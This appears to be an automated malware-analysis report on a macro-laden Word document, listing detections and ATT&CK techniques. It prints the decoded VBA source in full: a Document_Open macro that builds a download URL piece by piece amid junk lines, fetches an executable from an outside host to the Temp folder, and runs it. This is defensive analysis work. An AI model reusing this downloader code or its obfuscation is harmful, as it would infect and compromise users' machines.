MALICIOUS
298
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1059 Command and Scripting Interpreter
The sample contains VBA macros that use the URLDownloadToFile API to download a file from 'www.ebatechcorp.com/wp-includes/ID3/pym.knd' and save it to the user's temporary directory as 'pym.knd'. The document body explicitly instructs the user to enable content, indicating a social engineering lure to bypass security measures. The presence of the Document_Open macro and the call to URLDownloadToFile strongly suggest a downloader functionality.
Heuristics 9
-
ClamAV: Doc.Downloader.Generic-6754310-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6754310-0
-
Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOADReference to URLDownloadToFile API
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell SCLFDCHZ, vbNormalFocus -
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal FPMZJJGO As Long, ByVal DOGWCVHH As String, _ -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
SCLFDCHZ = Environ("Temp") & "\" & "pym.knd" -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3971 bytes |
SHA-256: 5e956789023c82dbd8af7d2bf672a8b48a41c54e0f47afc3263c36b4810815a8 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If Win64 Then
Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal FPMZJJGO As Long, ByVal DOGWCVHH As String, _
ByVal SYMOCEBQ As String, _
ByVal EKSRQYTP As Long, ByVal LOAOPHQU As Long)
#Else
Private Declare Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal FPMZJJGO As Long, ByVal DOGWCVHH As String, _
ByVal SYMOCEBQ As String, _
ByVal EKSRQYTP As Long, ByVal LOAOPHQU As Long)
#End If
Sub AutoNew()
Dim SettingsFile As String
Dim Order As String
Dim rRecNo As Range
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
If Order = "" Then
Order = 1
End If
End Sub
Sub Document_Open()
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
Dim sdfsd As String
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
sdfsd = 15
KAYQLAPV
End Sub
Sub KAYQLAPV()
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
Dim Order As String
Dim rRecNo As Range
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
If Order = "" Then
Order = 1
End If
DPEQPNHE = "www.ebatechcorp.com/wp-includes/ID3/pym.knd"
SCLFDCHZ = Environ("Temp") & "\" & "pym.knd"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
If Order = "" Then
Order = 1
End If
DPEQPNHE0 = "h"
DPEQPNHE0 = DPEQPNHE0 + "t"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
DPEQPNHE0 = DPEQPNHE0 + "t"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
DPEQPNHE0 = DPEQPNHE0 + "p"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
DPEQPNHE0 = DPEQPNHE0 + ":"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
DPEQPNHE0 = DPEQPNHE0 + "/"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
DPEQPNHE0 = DPEQPNHE0 + "/"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
DPEQPNHE0 = DPEQPNHE0 + DPEQPNHE
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
DPEQPNHE0 = DPEQPNHE0 + "."
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
DPEQPNHE0 = DPEQPNHE0 + "e"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
DPEQPNHE0 = DPEQPNHE0 + "x"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
DPEQPNHE0 = DPEQPNHE0 + "e"
AutoNew
SCLFDCHZ = SCLFDCHZ + "."
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
SCLFDCHZ = SCLFDCHZ + "e"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
SCLFDCHZ = SCLFDCHZ + "x"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
SCLFDCHZ = SCLFDCHZ + "e"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
AutoNew
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
URLDownloadToFileA 0, DPEQPNHE0, _
SCLFDCHZ, 0, 0
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
AutoNew
If Len(Dir(SCLFDCHZ)) > 0 Then
AutoNew
Shell SCLFDCHZ, vbNormalFocus
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
End If
End Sub
Attribute VB_Name = "NewMacros"
Sub pnyknd()
'
' pnyknd Macro
'
'
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.